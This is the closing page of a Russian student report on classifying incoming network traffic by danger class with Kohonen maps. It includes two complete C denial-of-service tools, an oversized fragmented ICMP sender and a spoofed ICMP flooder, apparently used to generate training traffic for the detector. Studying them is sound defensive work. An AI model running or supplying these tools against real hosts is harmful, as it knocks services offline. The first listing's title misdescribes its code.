Рефераты
 

Кластеризация групп входящих пакетов с помощью нейронных сетей конкурирующего типа

p align="left">Табл. 1. Весовые коэффициенты нейронов карты Кохонена для примера 1.

Заключение

В результате проделанной работы создана интеллектуальная система анализа входящего трафика по классам опасности. Система построена на использовании нейронной сети конкурирующего типа. Реализовано обучение сети пятью методами самоорганизации: классический (с настройкой соседей и без неё), механизм утомления (с настройкой соседей и без неё) и алгоритм нейронного газа. В качестве обучающей выборки были использованы данные из журнала входящего трафика, содержащие как пакета передачи данных и управляющие пакеты, так и “опасные” пакеты направленные на нарушение работы хоста (атака для создания доверительного TCP - соединения, лавинное заваливание ICMP и UDP пакетами, передача крупных несвязанных фрагментированных пакетов). Входящие пакеты объединялись в группы и для каждой из групп определялись интегральные критерии на принадлежность к классу опасности. В результате самообучения нейронной сети создан классификатор входящих пакетов.

Список используемой литературы

1. Джон Чирилло. Обнаружение хакерских атак. Для профессионалов (+CD). - СПб.: Питер 2003. - 864 с.: ил.

2. И.Д. Медведовский, П.В. Семьянов, В.В. Платонов. Атака через Internet. Москва. НПО "Мир и семья-95" - 1997 3.Арсеньев С. “Извлечение данных из медицинских баз данных”

4. Круглов В.В., Борисов В.В. “Искусственные нейронные сети. Теория и практика”. -2-е изд., стереотип. - Москва: Горячая линия - Телеком, 2002 г. - 382 с.: ил.

5. Горбань А.Н., Россиев Д.А. “Нейронные сети на персональном компьютере” - Новосибирск: Наука. Сибирская издательская фирма РАН, 1996 г. -276 с.: ил.

6. Ф. Уоссерман “Нейрокомпьютерная техника: теория и практика” - Москва.: Мир, 1992 -182 стр.: ил.

7. Корнеев В.В., Гареев А.Ф., Васютин С.В., Райх В.В. “Базы данных. Интеллектуальная обработка информации” - Москва.: “Нолидж”, 2000 г., - 356с.: ил.

8. Осовский Станислав. Нейронные сети для обработки информации. М: Финансы и статистика. 2002 г. -335 с: ил.

9. Назаров А.В., Лоскутов А.И. Нейросетевые алгоритмы прогнозирования и оптимизации систем. Санкт-Петергург, Наука и техника. 2003 г. -

Листинг программ

1.Атака лавинного типа (запрос на создание TCP-соедиения)

#include <stdio.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netdb.h>

#include <netinet/in.h>

#include <netinet/in_systm.h>

#include <netinet/ip.h>

#include <netinet/ip_icmp.h>

#ifdef REALLY_RAW

#define FIX(x) htons(x)

#else

#define FIX(x) (x)

#endif

int

main(int argc, char **argv)

{

int s;

char buf[1500];

struct ip *ip = (struct ip *)buf;

struct icmp *icmp = (struct icmp *)(ip + 1);

struct hostent *hp;

struct sockaddr_in dst;

int offset;

int on = 1;

bzero(buf, sizeof buf);

if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) {

perror("socket");

exit(1);

}

if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {

perror("IP_HDRINCL");

exit(1);

}

if (argc != 2) {

fprintf(stderr, "usage: %s hostname\n", argv[0]);

exit(1);

}

if ((hp = gethostbyname(argv[1])) == NULL) {

if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {

fprintf(stderr, "%s: unknown host\n", argv[1]);

}

} else {

bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);

}

printf("Sending to %s\n", inet_ntoa(ip->ip_dst));

ip->ip_v = 4;

ip->ip_hl = sizeof *ip >> 2;

ip->ip_tos = 0;

ip->ip_len = FIX(sizeof buf);

ip->ip_id = htons(4321);

ip->ip_off = FIX(0);

ip->ip_ttl = 255;

ip->ip_p = 1;

ip->ip_sum = 0; /* kernel fills in */

ip->ip_src.s_addr = 0; /* kernel fills in */

dst.sin_addr = ip->ip_dst;

dst.sin_family = AF_INET;

icmp->icmp_type = ICMP_ECHO;

icmp->icmp_code = 0;

icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));

/* the checksum of all 0's is easy to compute */

for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {

ip->ip_off = FIX(offset >> 3);

if (offset < 65120)

ip->ip_off |= FIX(IP_MF);

else

ip->ip_len = FIX(418); /* make total 65538 */

if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,

sizeof dst) < 0) {

fprintf(stderr, "offset %d: ", offset);

perror("sendto");

}

if (offset == 0) {

icmp->icmp_type = 0;

icmp->icmp_code = 0;

icmp->icmp_cksum = 0;

}

}

}

Листинг 2. Атака лавинного типа подменёнными ICMP - пакетами.

#include <sys/types.h>

#include <sys/socket.h>

#include <stdio.h>

#include <unistd.h>

#include <stdlib.h>

#include <string.h>

#include <netdb.h>

#include <netinet/ip.h>

#include <netinet/in.h>

#include <netinet/ip_icmp.h>

#define IPHDRSIZE sizeof(struct iphdr)

#define ICMPHDRSIZE sizeof(struct icmphdr)

#define VIRGIN "1.1"

void version(void) {

printf("flood %s - by FA-Q\n", VIRGIN);

}

void usage(const char *progname)

{

printf("usage: %s [-fV] [-c count] [-i wait] [-s packetsize] <target> <broadcast>\n",progname);

}

unsigned char *dest_name;

unsigned char *spoof_name = NULL;

struct sockaddr_in destaddr, spoofaddr;

unsigned long dest_addr;

unsigned long spoof_addr;

unsigned pingsize, pingsleep, pingnmbr;

char flood = 0;

unsigned short in_cksum(addr, len)

u_short *addr;

int len;

{

register int nleft = len;

register u_short *w = addr;

register int sum = 0;

u_short answer = 0;

while (nleft > 1) {

sum += *w++;

nleft -= 2;

}

if (nleft == 1) {

*(u_char *)(&answer) = *(u_char *)w;

sum += answer;

}

sum = (sum >> 16) + (sum & 0xffff);

sum += (sum >> 16);

answer = ~sum;

return(answer);

}

int resolve( const char *name, struct sockaddr_in *addr, int port )

{

struct hostent *host;

bzero((char *)addr,sizeof(struct sockaddr_in));

if (( host = gethostbyname(name) ) == NULL ) {

fprintf(stderr,"%s will not resolve\n",name);

perror(""); return -1;

}

addr->sin_family = host->h_addrtype;

memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);

addr->sin_port = htons(port);

return 0;

}

unsigned long addr_to_ulong(struct sockaddr_in *addr)

{

return addr->sin_addr.s_addr;

}

int resolve_one(const char *name, unsigned long *addr, const char *desc)

{

struct sockaddr_in tempaddr;

if (resolve(name, &tempaddr,0) == -1) {

printf("%s will not resolve\n",desc);

return -1;

}

*addr = tempaddr.sin_addr.s_addr;

return 0;

}

int resolve_all(const char *dest,

const char *spoof)

{

if (resolve_one(dest,&dest_addr,"dest address")) return -1;

if (spoof!=NULL)

if (resolve_one(spoof,&spoof_addr,"spoof address")) return -1;

spoofaddr.sin_addr.s_addr = spoof_addr;

spoofaddr.sin_family = AF_INET;

destaddr.sin_addr.s_addr = dest_addr;

destaddr.sin_family = AF_INET;

}

void give_info(void)

{

printf("\nattacking (%s) from (%s)\n",inet_ntoa(spoof_addr),dest_name);

}

int parse_args(int argc, char *argv[])

{

int opt;

char *endptr;

while ((opt=getopt(argc, argv, "fc:s:i:V")) != -1) {

switch(opt) {

case 'f': flood = 1; break;

case 'c': pingnmbr = strtoul(optarg,&endptr,10);

if (*endptr != '\0') {

printf("%s is an invalid number '%s'.\n", argv[0], optarg);

return -1;

}

break;

case 's': pingsize = strtoul(optarg,&endptr,10);

if (*endptr != '\0') {

printf("%s is a bad packet size '%s'\n", argv[0], optarg);

return -1;

}

break;

case 'i': pingsleep = strtoul(optarg,&endptr,10);

if (*endptr != '\0') {

printf("%s is a bad wait time '%s'\n", argv[0], optarg);

return -1;

}

break;

case 'V': version(); break;

case '?':

case ':': return -1; break;

}

}

if (optind > argc-2) {

return -1;

}

if (!pingsize)

pingsize = 28;

else

pingsize = pingsize - 36;

if (!pingsleep)

pingsleep = 100;

spoof_name = argv[optind++];

dest_name = argv[optind++];

return 0;

}

inline int icmp_echo_send(int socket,

unsigned long spoof_addr,

unsigned long t_addr,

unsigned pingsize)

{

unsigned char packet[5122];

struct iphdr *ip;

struct icmphdr *icmp;

struct iphdr *origip;

unsigned char *data;

int i;

ip = (struct iphdr *)packet;

icmp = (struct icmphdr *)(packet+IPHDRSIZE);

origip = (struct iphdr *)(packet+IPHDRSIZE+ICMPHDRSIZE);

data = (char *)(packet+pingsize+IPHDRSIZE+IPHDRSIZE+ICMPHDRSIZE);

memset(packet, 0, 5122);

ip->version = 4;

ip->ihl = 5;

ip->ttl = 255-random()%15;

ip->protocol = IPPROTO_ICMP;

ip->tot_len = htons(pingsize + IPHDRSIZE + ICMPHDRSIZE + IPHDRSIZE + 8);

bcopy((char *)&destaddr.sin_addr, &ip->daddr, sizeof(ip->daddr));

bcopy((char *)&spoofaddr.sin_addr, &ip->saddr, sizeof(ip->saddr));

ip->check = in_cksum(packet,IPHDRSIZE);

origip->version = 4;

origip->ihl = 5;

origip->ttl = ip->ttl - random()%15;

origip->protocol = IPPROTO_TCP;

origip->tot_len = IPHDRSIZE + 30;

origip->id = random()%69;

bcopy((char *)&destaddr.sin_addr, &origip->saddr, sizeof(origip->saddr));

origip->check = in_cksum(origip,IPHDRSIZE);

*((unsigned int *)data) = htons(pingsize);

icmp->type = 8; /* why should this be 3? */

icmp->code = 0;

icmp->checksum = in_cksum(icmp,pingsize+ICMPHDRSIZE+IPHDRSIZE+8);

return sendto(socket,packet,pingsize+IPHDRSIZE+ICMPHDRSIZE+IPHDRSIZE+8,0,

(struct sockaddr *)&destaddr,sizeof(struct sockaddr));

}

void main(int argc, char *argv[])

{

int s, i;

int floodloop;

if (parse_args(argc,argv))

{

usage(argv[0]);

return;

}

resolve_all(dest_name, spoof_name);

give_info();

s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

if (!flood)

{

if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1)

{

printf("%s error sending packet\n",argv[0]); perror(""); return;

}

}

else

{

floodloop = 0;

if ( pingnmbr && (pingnmbr > 0) )

{

printf("sending... packet limit set\n");

for (i=0;i<pingnmbr;i++)

{

if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1)

{

printf("%s error sending packet\n",argv[0]); perror(""); return;

}

usleep((pingsleep*1000));

if (!(floodloop = (floodloop+1)%25))

{ fprintf(stdout,"."); fflush(stdout);

}

}

printf("\ncomplete, %u packets sent\n", pingnmbr);

}

else {

printf("flooding, (. == 25 packets)\n");

for (i=0;i<1;i)

{

if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1)

{

printf("%s error sending packet\n",argv[0]); perror(""); return;

}

usleep(900);

if (!(floodloop = (floodloop+1)%25))

{ fprintf(stdout,"."); fflush(stdout);

}

}

}

}

}

Листинг 3. Самоорганизующаяся карта признаков.

TNeuron = class

public

IntVal : TIntArray;

ExtVal : TExtArray;

Pos : Extended;

Status : Extended;

Y : Extended;

MassWeight : Array of Extended;

constructor Init(a : PIntArray; b : PExtArray);

function FunctionActivation : Extended;

procedure GetAksonValue(a : PExtArray);

procedure Randomization;

procedure Distantion(a : PExtArray);

end;

TLayer = class

public

ExtArr : TExtArray;

Neurons : Array of TNeuron;

QNeurons : integer;

QInputs : integer;

InputValues : Array of Extended;

OutputValues : Array of Extended;

constructor Init(a : PIntArray; b : PExtArray);

procedure GetInputValues(Values : PExtArray);

procedure GetOutputValues;

procedure Excitement;

procedure randomization;

end;

TKohonenLayer = class(TLayer)

public

eta,sigma : Extended;

h,w : Word;

constructor Init(a : PIntArray; b : PExtArray);

procedure Normalize;

function TheWinnerTakesItAll : integer;

function Classic : integer;

procedure Learning(a : integer; SpeedLearn : Extended);

procedure LearningNeib(a : integer; SpeedLearn : Extended);

procedure SigmaInit(s : Extended);

procedure ConvexCombination(delta : Extended);

procedure NeuralGaz(SpeedLearn : Extended);

end;

procedure TKohonenLayer.SigmaInit(s : Extended);

begin

Sigma:=s;

end;

procedure TKohonenLayer.ConvexCombination(delta : Extended);

var i : integer;

begin

eta:=eta+delta;

sigma:=sigma+0.1-10*delta;

for i:=0 to QInputs-1 do InputValues[i]:=InputValues[i]*eta+(1-eta)/sqrt(QInputs);

end;

constructor TKohonenLayer.Init(a : PIntArray; b : PExtArray);

var i : integer;

New : TIntArray;

begin

Inherited Init(a,b);

New:=a^;

H:=New.Value[3];

W:=Round(New.Value[2]/New.Value[3]);

Randomization;

for i:=0 to New.Value[2]-1 do Neurons[i].Pos:=3.75;

eta:=0;

end;

procedure TKohonenLayer.Normalize;

var i : integer;

Sum : Extended;

begin

Sum:=0;

for i:=0 to QInputs-1 do Sum:=Sum+Sqr(InputValues[i]);

for i:=0 to QInputs-1 do

InputValues[i]:=InputValues[i]/Sqrt(Sum);

end;

function TKohonenLayer.TheWinnerTakesItAll : integer;

var i,p : integer;

Min : Extended;

begin

Min:=Neurons[0].Y;

p:=0;

for i:=1 to QNeurons-1 do

begin

if Neurons[i].Pos>0.75 then

if Min>Neurons[i].Y then

begin

p:=i;

Min:=Neurons[i].Y;

end;

end;

for i:=0 to QNeurons-1 do Neurons[i].Y:=0;

for i:=0 to QNeurons-1 do

if i=p then Neurons[i].Pos:=Neurons[i].Pos-0.75

else Neurons[i].Pos:=Neurons[i].Pos+1/QNeurons;

Neurons[p].Y:=1;

GetOutputValues;

TheWinnerTakesItAll:=p;

end;

function TKohonenLayer.Classic : integer;

var i,p : integer;

Min : Extended;

begin

Min:=Neurons[0].Y;

p:=0;

for i:=1 to QNeurons-1 do

begin

if Min>Neurons[i].Y then

begin

p:=i;

Min:=Neurons[i].Y;

end;

end;

for i:=0 to QNeurons-1 do Neurons[i].Y:=0;

Neurons[p].Y:=1;

GetOutputValues;

Classic:=p;

end;

procedure TKohonenLayer.Learning(a : integer; SpeedLearn : Extended);

var i : integer;

begin

for i:=1 to QInputs do

Neurons[a].MassWeight[i]:=Neurons[a].MassWeight[i]+

SpeedLearn*(InputValues[i-1]-Neurons[a].MassWeight[i]);

end;

procedure TKohonenLayer.LearningNeib(a : integer; SpeedLearn : Extended);

var i,j : integer;

begin

for j:=0 to QNeurons-1 do

begin

for i:=1 to QInputs do

Neurons[j].MassWeight[i]:=Neurons[j].MassWeight[i]+

exp(-(Sqr((j div w)-(a div w)) + Sqr((j mod h)-(a mod h)))/(2*Sqr(sigma)))

*SpeedLearn*(InputValues[i-1]-Neurons[j].MassWeight[i]);

end;

end;

procedure TKohonenLayer.NeuralGaz(SpeedLearn : Extended);

var i,j,k,p : integer;

Mass : Array of Extended;

Min : Extended;

begin

SetLength(Mass,QNeurons);

for i:=0 to QNeurons-1 do Mass[i]:=-1;

p:=0;

for i:=0 to QNeurons-1 do

begin

p:=p+1;

Min:=999999;

k:=-1;

for j:=0 to QNeurons-1 do

begin

if Neurons[j].Y<Min then

if Mass[j]=-1 then

begin

k:=j;

Min:=Neurons[j].Y;

end;

end;

Mass[k]:=p;

end;

for j:=0 to QNeurons-1 do

begin

for i:=1 to QInputs do

Neurons[j].MassWeight[i]:=Neurons[j].MassWeight[i]+

exp(-Mass[j]/Sigma)*SpeedLearn*(InputValues[i-1]-Neurons[j].MassWeight[i]);

end;

end;

constructor TNeuron.Init(a : PIntArray; b : PExtArray);

var

New : TIntArray;

begin

New:=a^;

ExtVal:=b^;

IntVal:=TIntArray.Init(2);

IntVal.Value[0]:=New.Value[0]+1;

IntVal.Value[1]:=New.Value[1];

SetLength(MassWeight,IntVal.Value[0]);

if IntVal.Value[0]>0 then MassWeight[0]:=0;

Status:=0;

Y:=0;

Pos:=0;

end;

procedure TNeuron.GetAksonValue(a : PExtArray);

var

i : integer;

b : TExtArray;

begin

b:=a^;

Status:=MassWeight[0];

for i:=1 to IntVal.Value[0]-1 do Status:=Status+MassWeight[i]*b.Value[i-1];

Y:=FunctionActivation;

end;

procedure TNeuron.Distantion(a : PExtArray);

var i : integer;

b : TExtArray;

begin

b:=a^;

Status:=0;

for i:=1 to IntVal.Value[0]-1 do Y:=Y+Sqr(MassWeight[i]-b.Value[i-1]);

Y:=Sqrt(Y);

end;

function TNeuron.FunctionActivation : Extended;

Var m : Extended;

begin

case IntVal.Value[1] of

1 : m:=1/(1+exp(-ExtVal.Value[0]*Status));

2 : m:=ExtVal.Value[0]*Status;

end;

FunctionActivation:=m;

end;

procedure TNeuron.Randomization;

var i : integer;

begin

for i:=0 to IntVal.Value[0]-1 do MassWeight[i]:=random(255);

end;

constructor TLayer.Init(a : PIntArray; b : PExtArray);

var i : integer;

//c : TIntArray;

IntArr : TIntArray;

begin

IntArr:=a^;

QInputs:=IntArr.Value[0];

QNeurons:=IntArr.Value[2];

IntArr.NewLength(2);

ExtArr:=b^;

SetLength(Neurons,SizeOf(TNeuron)*QNeurons);

for i:=0 to QNeurons-1 do Neurons[i]:=TNeuron.Init(@IntArr,b);

SetLength(InputValues,QInputs);

for i:=0 to QInputs-1 do InputValues[i]:=0;

SetLength(OutputValues,QNeurons);

end;

procedure TLayer.GetInputValues(Values : PExtArray);

var i : integer;

a : TExtArray;

begin

a:=Values^;

for i:=0 to QInputs-1 do InputValues[i]:=a.Value[i];

end;

procedure TLayer.Excitement;

var i : integer;

a : TExtArray;

begin

a:=TExtArray.Init(QInputs);

for i:=0 to QInputs-1 do a.Value[i]:=InputValues[i];

for i:=0 to QNeurons-1 do Neurons[i].Distantion(@a);//GetAksonValue(@a);

GetOutputValues;

end;

procedure TLayer.GetOutputValues;

var i : integer;

begin

for i:=0 to QNeurons-1 do OutputValues[i]:=Neurons[i].Y;

end;

procedure TLayer.randomization;

var i : integer;

begin

for i:=0 to QNeurons-1 do Neurons[i].Randomization;

end;

procedure TForm1.Button2Click(Sender: TObject);

var

F : TextFile;

i,j,p,s1,s2,k : integer;

Str : String;

Ch : Char;

Sum : integer;

Temp : Array of String;

begin

OpenDialog1.Filter:='?o?iaeuiue oaee|*.log|';

if (OpenDialog1.Execute) and fileExists(OpenDialog1.FileName) then

begin

AssignFile(F,OpenDialog1.FileName);

Reset(F);

ReadLn(F);

Read(F,Q);

SetLength(Prot,Q);

SetLength(Host,Q);

SetLength(LocalH,Q);

SetLength(Frag,Q);

SetLength(Size,Q);

SetLength(Proc,Q);

SetLength(Active,Q);

SetLength(HACK,Q);

MyList.Clear;

MyList.Add('Iiia?');

MyList.Add('I?ioieie');

MyList.Add('Oino');

MyList.Add('Naiy EAN');

MyList.Add('O?aaiaioaoey');

MyList.Add('?acia?');

MyList.Add('I?ioanni? %%');

MyList.Add('Ioaa?aao');

StringGrid1.RowCount:=Q+1;

StringGrid1.Rows[0]:=MyList;

for i:=0 to Q-1 do

begin

MyList.Clear;

Read(F,j);

MyList.Add(IntToStr(j));

//Memo4.Lines.Add(IntToStr(j));

Read(F,Ch);

Read(F,Ch);

Read(F,Ch);

Prot[i]:='';

While(ch<>' ') do

begin

Prot[i]:=Prot[i]+Ch;

Read(F,Ch);

end;

MyList.Add(Prot[i]);

Read(F,Ch);

Read(F,Ch);

Read(F,Ch);

Host[i]:='';

While(ch<>' ') do

begin

Host[i]:=Host[i]+Ch;

Read(F,Ch);

end;

MyList.Add(Host[i]);

Read(F,Ch);

Read(F,Ch);

Str:='';

While(ch<>' ') do

begin

Str:=Str+Ch;

Read(F,Ch);

end;

MyList.Add(Str);

if Str='YES' then LocalH[i]:=1 else LocalH[i]:=0;

Read(F,Ch);

Read(F,Ch);

Str:='';

While(ch<>' ') do

begin

Str:=Str+Ch;

Read(F,Ch);

end;

MyList.Add(Str);

if Str='YES' then Frag[i]:=1 else Frag[i]:=0;

Read(F,Size[i]);

MyList.Add(IntToStr(Size[i]));

Read(F,Proc[i]);

MyList.Add(IntToStr(Proc[i]));

Read(F,Ch);

Read(F,Ch);

Read(F,Ch);

Str:='';

While(ch<>' ') do

begin

Str:=Str+Ch;

Read(F,Ch);

end;

MyList.Add(Str);

if Str='YES' then Active[i]:=1 else Active[i]:=0;

StringGrid1.Rows[j]:=MyList;

Read(F,Ch);

if Ch='H' then HACK[i]:=1 else HACK[i]:=0;

//Memo4.Lines.Add('**************');

end;

//Memo4.Lines.Add(IntToStr(Q));

CloseFile(F);

SetLength(Temp,10);

SetLength(Mass,(Q-1)*11);

SetLength(SHack,Q-1);

for i:=0 to Q-12 do

begin

Mass[12*i]:=0;

for j:=0 to 9 do Mass[12*i]:=Mass[12*i]+LocalH[i+j];

Mass[12*i+1]:=0;

for j:=0 to 9 do Mass[12*i+1]:=Mass[12*i+1]+Frag[i+j];

Mass[12*i+2]:=0;

Mass[12*i+3]:=0;

for j:=0 to 9 do

if Prot[i+j]='TCP' then Mass[12*i+2]:=Mass[12*i+2]+1;

for j:=0 to 9 do

if Prot[i+j]='UDP' then Mass[12*i+3]:=Mass[12*i+3]+1;

Sum:=1;

s1:=0;

for j:=0 to 9 do

begin

Str:=Host[i+j];

p:=0;

for k:=0 to 9 do

begin

if Str=Host[i+k] then

begin

p:=p+1;

s2:=k;

end;

end;

if p>Sum then

begin

Sum:=p;

s1:=s2;

end;

end;

Mass[12*i+4]:=Sum;

Mass[12*i+5]:=LocalH[i+s1];

Sum:=0;

for j:=0 to 9 do Sum:=Sum+Proc[i+j];

Mass[12*i+6]:=Sum/10;

Mass[12*i+7]:=Proc[i+9]-Proc[i];

Sum:=0;

for j:=0 to 9 do Sum:=Sum+Size[i+j];

Mass[12*i+8]:=Sum/10;

Sum:=0;

for j:=0 to 9 do

if (Size[i+j]>=0.8*Mass[12*i+8])and

(Size[i+j]<=1.2*Mass[12*i+8]) then Sum:=Sum+1;

Mass[12*i+9]:=Sum;

Sum:=0;

for j:=0 to 9 do Sum:=Sum+Active[i+j];

Mass[12*i+10]:=Sum;

for j:=0 to 9 do Temp[j]:=Host[i+j];

for j:=0 to 8 do

begin

Str:=Temp[j];

for k:=0 to 9 do

if k<>j then

if Str=Temp[k] then Temp[k]:='';

end;

Sum:=0;

for j:=0 to 9 do

if Temp[j]<>'' then Sum:=Sum+1;

Mass[12*i+11]:=Sum;

Sum:=0;

for j:=0 to 9 do Sum:=Sum+HACK[i+j];

SHAck[i]:=Sum;

end;

end;

end;

procedure TForm1.InitializationMap;

var i,j,p : integer;

begin

for i:=0 to H*W-1 do

begin

p:=Random(Q-13);

for j:=0 to 10 do

KMap.Neurons[i].MassWeight[j+1]:=Mass[12*p+j];

end;

end;

procedure TForm1.Button3Click(Sender: TObject);

var i,j,p,k,m : integer;

Quant,Winner : integer;

Part : TExtArray;

SMax,SMin : Extended;

begin

InitializationMap;

for i:=0 to Image1.Height-1 do

for j:=0 to Image1.Width-1 do

Image1.Picture.Bitmap.Canvas.Pixels[i,j]:=RGB(150,150,150);

Quant:=StrToInt(Edit3.Text);

Part:=TExtArray.Init(12);

SMax:=0.7;

SMin:=0.0001;

ProgressBar1.Max:=Quant;

ProgressBar1.Position:=0;

for i:=0 to Quant-1 do

begin

KMap.SigmaInit(10*(1-i/Quant)+0.1);

p:=Random(Q-12);

for j:=0 to 11 do Part.Value[j]:=Mass[12*p+j];

KMap.GetInputValues(@Part);

KMap.Excitement;

Case RadioGroup1.ItemIndex of

0:

begin

Winner:=KMap.Classic;

if CheckBox1.Checked then KMap.LearningNeib(Winner,SMax-(SMax-SMin)*i/Quant)

else KMap.Learning(Winner,SMax-(SMax-SMin)*i/Quant);

end;

1:

begin

Winner:=KMAp.TheWinnerTakesItAll;

if CheckBox1.Checked then KMap.LearningNeib(Winner,SMax-(SMax-SMin)*i/Quant)

else KMap.Learning(Winner,SMax-(SMax-SMin)*i/Quant)

end;

2:

begin

KMap.NeuralGaz(SMax-(SMax-SMin)*i/Quant);

end;

end;

ProgressBar1.StepBy(1);

end;

ProgressBar1.Position:=0;

for i:=0 to KMap.QNeurons-1 do

KMap.Neurons[i].MassWeight[0]:=0;

for i:=0 to Q-12 do

begin

for j:=0 to 11 do Part.Value[j]:=Mass[12*i+j];

KMap.GetInputValues(@Part);

KMap.Excitement;

Winner:=KMap.Classic;

KMap.Neurons[Winner].MassWeight[0]:=1;

//Memo4.Lines.Add(IntToStr(Winner));

if SHack[i]>=8 then

begin

for m:=0 to W1-1 do

for k:=0 to H1-1 do

Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(255,0,0);

end

else if SHack[i]=7 then

begin

for m:=0 to W1-1 do

for k:=0 to H1-1 do

Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(255,40,40);

end

else if SHack[i]=6 then

begin

for m:=0 to W1-1 do

for k:=0 to H1-1 do

Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(225,80,80);

end

else if SHack[i]=5 then

begin

for m:=0 to W1-1 do

for k:=0 to H1-1 do

Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(225,120,120);

end

else if SHack[i]=4 then

begin

for m:=0 to W1-1 do

for k:=0 to H1-1 do

Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(225,160,160);

end

else if SHack[i]=3 then

begin

for m:=0 to W1-1 do

for k:=0 to H1-1 do

Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(225,200,200);

end

else

begin

for m:=0 to W1-1 do

for k:=0 to H1-1 do

Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(225,225,225);

end;

//Image2.Picture.Bitmap.Canvas.

//.Pixels[j,i]:=RGB(

end;

for i:=0 to KMap.QNeurons-1 do

begin

if KMap.Neurons[i].MassWeight[0]=1 then

begin

Memo3.Lines.Add('Iae?ii '+IntToStr(i));

for j:=0 to KMap.QInputs-1 do

Memo3.Lines.Add(FloatToStr(KMap.Neurons[i].MassWeight[j]));

end;

end;

end;

Страницы: 1, 2


© 2010 BANKS OF РЕФЕРАТ